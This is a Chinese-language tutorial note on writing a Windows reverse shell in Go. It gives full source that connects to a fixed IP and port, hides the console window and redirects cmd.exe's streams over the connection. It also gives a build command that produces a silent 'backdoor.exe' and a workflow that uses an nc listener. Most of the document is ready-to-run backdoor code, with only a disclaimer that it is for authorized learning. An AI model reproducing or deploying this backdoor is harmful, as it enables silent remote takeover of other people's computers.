前言
本文为go语言安全开发学习笔记 ,讲解Go语言实现Windows反向TCP反弹Shell 的核心原理、代码逐行解析、编译命令详解。仅用于授权范围内的安全学习,严禁用于非法攻击行为。
反向Shell的核心优势:绕过防火墙入站限制,由被控主机主动连接攻击机,实现无窗口、静默式远程命令控制。
一、完整源码(带学习注释)
源码文件名:attacker.go
go
package main
// 导入核心依赖库:网络通信、进程执行、系统底层调用
import (
"net" // Go原生网络库:实现TCP客户端连接
"os/exec" // 执行系统命令:创建Windows CMD子进程
"syscall" // 系统调用库:配置Windows进程隐藏属性
)
// main函数:Go可执行程序的唯一入口
func main() {
// 1. 配置Windows进程属性:隐藏CMD黑窗口
syscallAttr := &syscall.SysProcAttr{
HideWindow: true, // 核心:启动进程时不显示图形窗口
}
// 2. 建立TCP反向连接:主动连接攻击机的IP和端口
// conn:TCP网络连接对象(双向数据管道);err:连接错误捕获
conn, err := net.Dial("tcp", "172.17.121.130:3061")
// 连接失败(网络不通/攻击机未监听):直接退出程序
if err != nil {
return
}
// 3. 延迟关闭连接:程序退出时自动释放TCP资源,避免泄漏
defer conn.Close()
// 4. 创建Windows CMD命令行进程
// cmd.exe:Windows系统命令解释器;/q:安静模式(屏蔽版权信息);/k:保持进程不退出
cmd := exec.Command("cmd.exe", "/q", "/k")
// 5. 为CMD进程绑定隐藏窗口属性
cmd.SysProcAttr = syscallAttr
// 6. 核心:标准流重定向(远程控制的关键)
cmd.Stdin = conn // 标准输入:从TCP管道接收攻击机命令(替代键盘)
cmd.Stdout = conn // 标准输出:命令执行结果回传给攻击机(替代屏幕)
cmd.Stderr = conn // 标准错误:命令报错信息回传给攻击机
// 7. 启动CMD进程,阻塞运行(_ 忽略错误,后门程序静默运行)
_ = cmd.Run()
}
二、代码逐行深度解析
1. 包声明与依赖导入
go
package main
import (
"net"
"os/exec"
"syscall"
)
package main:声明为可执行程序 (非库文件),必须包含main函数才能运行;net:实现TCP网络通信,负责和攻击机建立连接、传输数据;os/exec:用于创建和操作系统子进程,这里用来启动Windows的cmd.exe;syscall:调用Windows底层系统接口,实现窗口隐藏等系统级配置。
2. 核心逻辑逐段讲解
(1)配置进程隐藏属性
go
syscallAttr := &syscall.SysProcAttr{
HideWindow: true,
}
- 这是Windows专属配置 ,
SysProcAttr是系统进程属性结构体; HideWindow: true:启动CMD时不弹出黑色命令行窗口,实现后台静默运行。
(2)建立TCP反向连接(核心:conn 详解)
go
conn, err := net.Dial("tcp", "172.17.121.130:3061")
if err != nil {
return
}
net.Dial("tcp", 地址):主动发起TCP客户端连接(反向连接核心);- ✅
conn到底是什么?
conn是net.Conn接口对象,本质是一根双向的网络管道 :
一端连接被控Windows主机 ,一端连接攻击机,既可以接收攻击机的数据,也可以向攻击机发送数据; - 连接失败直接
return退出,避免无效运行。
(3)资源自动释放
go
defer conn.Close()
defer:Go语言延迟执行关键字,程序退出前最后执行;- 作用:自动关闭TCP连接,释放系统网络资源,是网络编程的标准最佳实践。
(4)创建CMD子进程
go
cmd := exec.Command("cmd.exe", "/q", "/k")
exec.Command:创建系统命令进程;- 参数说明:
cmd.exe:Windows系统自带的命令行解释器;/q:安静模式,关闭CMD默认的版权提示信息,更隐蔽;/k:执行命令后保持CMD进程不退出(反弹Shell必备参数)。
(5)绑定隐藏窗口
go
cmd.SysProcAttr = syscallAttr
将我们配置的「隐藏窗口」属性,赋值给CMD进程,确保无窗口运行。
(6)标准流重定向(灵魂核心)
go
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
CMD命令行有3个标准数据流 ,这行代码将其全部重定向到网络管道conn:
Stdin(标准输入):原本接收键盘输入 → 改为接收攻击机通过网络发送的命令;Stdout(标准输出):原本输出到屏幕 → 改为将执行结果回传给攻击机;Stderr(标准错误):原本报错到屏幕 → 改为将错误信息回传给攻击机。
通俗理解:把CMD的「键盘」和「屏幕」,直接接到了网络上,实现完全远程控制。
(7)启动进程
go
_ = cmd.Run()
cmd.Run():启动CMD子进程,并阻塞等待(直到TCP断开才会退出);_:忽略错误,后门程序不抛出异常,避免被系统检测。
三、编译为EXE可执行文件 命令详解
编译命令
bash
go build -ldflags="-H windowsgui" -o backdoor.exe attacker.go
命令参数逐字解析
go build:Go语言官方编译命令,将源码编译为可执行文件;-ldflags="-H windowsgui":核心编译参数- 作用:将程序编译为Windows GUI程序 ,彻底屏蔽黑窗口(比代码里的
HideWindow更彻底,无窗口闪烁); - 这是后门程序无窗口运行的关键配置;
- 作用:将程序编译为Windows GUI程序 ,彻底屏蔽黑窗口(比代码里的
-o backdoor.exe:指定编译后的输出文件名(可自定义,如client.exe);attacker.go:你的Go源码文件名。
编译效果
执行命令后,会在当前目录生成**backdoor.exe**:
- 纯静态单文件,无任何依赖,拷贝到任意Windows主机即可运行;
- 双击后无窗口、后台静默执行,主动连接攻击机。
四、反向反弹Shell完整工作流程
- 攻击机开启端口监听(如
nc -lvvp 3061); - 被控主机运行
backdoor.exe,无窗口后台启动; - 被控主机主动连接
172.17.121.130:3061,建立TCP管道; - 程序启动CMD,并将输入输出重定向到网络管道;
- 攻击机输入命令 → 网络传输 → 被控主机CMD执行 → 结果回传攻击机;
- 断开TCP连接,程序自动退出。
五、关键知识点总结
- 反向连接:被控机主动连攻击机,绕过防火墙入站限制;
conn= 网络管道:实现攻击机与被控机的数据传输;- 流重定向 :
cmd.Stdin/Stdout/Stderr = conn是远程控制的核心; - 双保险隐藏窗口 :代码
HideWindow+ 编译-H windowsgui,实现完全静默; - 跨平台编译:Go支持任意系统编译Windows EXE,是安全开发的优势。
六、重要合规声明
本文仅用于网络安全技术学习、授权渗透测试、红蓝对抗演练 。
未经授权非法控制他人计算机属于违法行为,一切法律责任由操作者自行承担。